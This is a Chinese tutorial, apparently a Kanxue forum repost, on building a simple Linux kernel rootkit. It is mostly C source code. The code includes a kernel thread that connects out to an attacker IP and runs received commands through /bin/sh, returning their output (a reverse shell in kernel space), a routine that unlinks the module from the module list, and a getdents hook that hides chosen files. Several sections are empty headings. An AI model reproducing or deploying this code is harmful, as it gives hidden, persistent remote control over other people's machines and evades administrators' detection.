其他
编写一个简单的linux kernel rootkit
本文为看雪论坛优秀文章
看雪论坛作者ID:windy_ll
一
前言
二
环境
内核版本:5.4.0-120
攻击机:kal
靶机和编译机:ubuntu18 64位
三
linux kernel module
module_init(rootkit_init);
module_exit(rootkit_exit);
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("windy_ll");
MODULE_DESCRIPTION("Basic Kernel Module");
MODULE_VERSION("0.01");
static int __init example_init(void)
{
printk(KERN_INFO "Hello, world!\n");
return 0;
}
static void __exit example_exit(void)
{
printk(KERN_INFO "Goodbye, world!\n");
}
module_init(example_init);
module_exit(example_exit);
obj-m += rootkit.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
四
hook系统调用表
找到系统调用表位置,修改系统调用表中的函数地址。
找到系统调用表位置,修改系统调用表函数前几个字节做一个jmp,就是inlinehook,当然可以在汇编上直接替换掉系统调用表的函数二进制指令。
利用别人写好的框架,例如ftrace(PS:本文为了方便,即利用此方式)。
3、获取系统调用表地址一般也可以通过以下几种方式来实现。
4、linux kernel rootkit中的某些功能需要通过hook系统调用表的函数来实现,例如监控命令的执行等。
五
linux kernel多线程
#include <linux/module.h>
#include <linux/kthread.h>
#include <linux/delay.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/syscalls.h>
#include <linux/version.h>
#include <linux/namei.h>
#include <linux/moduleparam.h>
#include <linux/sched.h>
#include <linux/fs.h>
#include <linux/uaccess.h>
static struct task_struct *test_kthread = NULL;
static int kthread_test_func(void *data)
{
return 0;
}
static __init int kthread_test_init(void)
{
test_kthread = kthread_run(kthread_test_func, NULL, "kthread-test");
if (!test_kthread) {
return -ECHILD;
}
return 0;
}
static __exit void kthread_test_exit(void)
{
}
module_init(kthread_test_init);
module_exit(kthread_test_exit);
六
linux kernel socket
static int myserver(void *data){
struct socket *sock,*client_sock;
struct sockaddr_in s_addr;
unsigned short portnum=8888;
int ret=0;
char recvbuf[1024];
char sendbuf[4096];
char *result;
struct msghdr recvmsg,sendmsg;
struct kvec send_vec,recv_vec;
//sendbuf = kmalloc(1024,GFP_KERNEL);
if(sendbuf == NULL) {
printk(KERN_INFO "[SockTest]: sendbuf kmalloc failed!\n");
return -1;
}
//recvbuf = kmalloc(1024,GFP_KERNEL);
if(recvbuf == NULL) {
printk(KERN_INFO "[SockTest]: recvbuf kmalloc failed!\n");
return -1;
}
memset(&s_addr,0,sizeof(s_addr));
s_addr.sin_family=AF_INET;
s_addr.sin_port=htons(portnum);
s_addr.sin_addr.s_addr=in_aton("10.10.10.195");
sock=(struct socket *)kmalloc(sizeof(struct socket),GFP_KERNEL);
client_sock=(struct socket *)kmalloc(sizeof(struct socket),GFP_KERNEL);
/*create a socket*/
ret=sock_create_kern(&init_net,AF_INET, SOCK_STREAM,0,&sock);
if(ret < 0){
printk("[SockTest]:socket_create_kern error!\n");
return -1;
}
printk("[SockTest]:socket_create_kern ok!\n");
/*connect the socket*/
ret=sock->ops->connect(sock,(struct sockaddr *)&s_addr,sizeof(s_addr),0);
printk(KERN_INFO "[SockTest]: connect ret = %d\n",ret);
/*
if(ret != 0){
printk("[SockTest]: connect error\n");
return ret;
}
*/
printk("[SockTest]:connect ok!\n");
memset(sendbuf,0,1024);
strcpy(sendbuf,"test");
memset(&sendmsg,0,sizeof(sendmsg));
memset(&send_vec,0,sizeof(send_vec));
send_vec.iov_base = sendbuf;
send_vec.iov_len = 4096;
/*send*/
ret = kernel_sendmsg(sock,&sendmsg,&send_vec,1,4);
printk(KERN_INFO "[SockTest]: kernel_sendmsg ret = %d\n",ret);
if(ret < 0) {
printk(KERN_INFO "[SockTest]: kernel_sendmsg failed!\n");
return ret;
}
printk(KERN_INFO "[SockTest]: send ok!\n");
memset(&recv_vec,0,sizeof(recv_vec));
memset(&recvmsg,0,sizeof(recvmsg));
recv_vec.iov_base = recvbuf;
recv_vec.iov_len = 1024;
/*kmalloc a receive buffer*/
while(true) {
memset(recvbuf, 0, 1024);
ret = kernel_recvmsg(sock,&recvmsg,&recv_vec,1,1024,0);
printk(KERN_INFO "[SockTest]: received message: %s\n",recvbuf);
if(!strcmp("exit",recvbuf)) {
break;
}
printk(KERN_INFO "[SockTest]: %ld\n",strlen(recvbuf));
result = execcmd(recvbuf);
memset(sendbuf,0,4096);
strncpy(sendbuf,result,4096);
ret = kernel_sendmsg(sock,&sendmsg,&send_vec,1,strlen(sendbuf));
}
kernel_sock_shutdown(sock,SHUT_RDWR);
sock_release(sock);
printk(KERN_INFO "[SockTest]: socket exit\n");
return 0;
}
七
linux kernel命令执行
hook系统调用表,劫持命令执行函数sys_execve。
调用call_usermodehelper函数直接执行命令。
static char* execcmd(char cmd[1024])
{
int result;
struct file *fp;
mm_segment_t fs;
loff_t pos;
static char buf[4096];
char add[] = " > /tmp/result.txt";
char cmd_path[] = "bin/sh";
strcat(cmd,add);
char *cmd_argv[] = {cmd_path,"-c",cmd,NULL};
char *cmd_envp[] = {"HOME=/","PATH=/sbin:/bin:/user/bin",NULL};
result = call_usermodehelper(cmd_path,cmd_argv,cmd_envp,UMH_WAIT_PROC);
printk(KERN_INFO "[TestKthread]: call_usermodehelper() result is %d\n",result);
fp = filp_open("/tmp/result.txt",O_RDWR | O_CREAT,0644);
if(IS_ERR(fp)) {
printk(KERN_INFO "open file failed!\n");
return 0;
}
memset(buf,0,sizeof(buf));
fs = get_fs();
set_fs(KERNEL_DS);
pos = 0;
vfs_read(fp,buf,sizeof(buf),&pos);
printk(KERN_INFO "shell result %ld:\n",strlen(buf));
printk("%s\n",buf);
filp_close(fp,NULL);
set_fs(fs);
return buf;
}
八
隐藏内核模块自身
void hideme(void)
{
prev_module = THIS_MODULE->list.prev;
list_del(&THIS_MODULE->list);
}
void showme(void)
{
list_add(&THIS_MODULE->list,prev_module);
}
九
隐藏文件
struct linux_dirent {
unsigned long d_ino;
unsigned long d_off;
unsigned short d_reclen;
char d_name[];
};
asmlinkage int hook_getdents(const struct pt_regs *regs)
{
struct linux_dirent {
unsigned long d_ino;
unsigned long d_off;
unsigned short d_reclen;
char d_name[];
};
struct linux_dirent __user *dirent = (struct linux_dirent *)regs->si;
struct linux_dirent *current_dir,*previous_dir,*dirent_ker = NULL;
unsigned long offset = 0;
long error;
int ret = orig_getdents(regs);
dirent_ker = kzalloc(ret, GFP_KERNEL);
if ((ret <= 0) || (dirent_ker == NULL))
{
printk(KERN_DEBUG "error 1,ret is %d\n",ret);
return ret;
}
error = copy_from_user(dirent_ker, dirent, ret);
if(error)
{
printk(KERN_DEBUG "error 2\n");
goto done;
}
while(offset < ret)
{
current_dir = (void *)dirent_ker + offset;
if(check(current_dir->d_name) == 1)
{
if(debug_mode == 1)
{
printk(KERN_DEBUG "rootkit: Found %s\n", current_dir->d_name);
}
if(current_dir == dirent_ker)
{
ret -= current_dir->d_reclen;
memmove(current_dir, (void *)current_dir + current_dir->d_reclen, ret);
continue;
}
previous_dir->d_reclen += current_dir->d_reclen;
}
else
{
previous_dir = current_dir;
}
offset += current_dir->d_reclen;
}
error = copy_to_user(dirent, dirent_ker, ret);
if(error)
{
printk(KERN_DEBUG "error 3\n");
goto done;
}
done:
kfree(dirent_ker);
return ret;
}
十
ftrace使用方法
static struct ftrace_hook hooks[] = {
HOOK("sys_mkdir",hook_mkdir,&orig_mkdir),
};
11
其他
12
linux kernel rootkit使用截图
13
github以及参考连接
看雪ID:windy_ll
https://bbs.pediy.com/user-home-851220.htm
# 往期推荐
3.House of apple 一种新的glibc中IO攻击方法
球分享
球点赞
球在看
点击“阅读原文”,了解更多!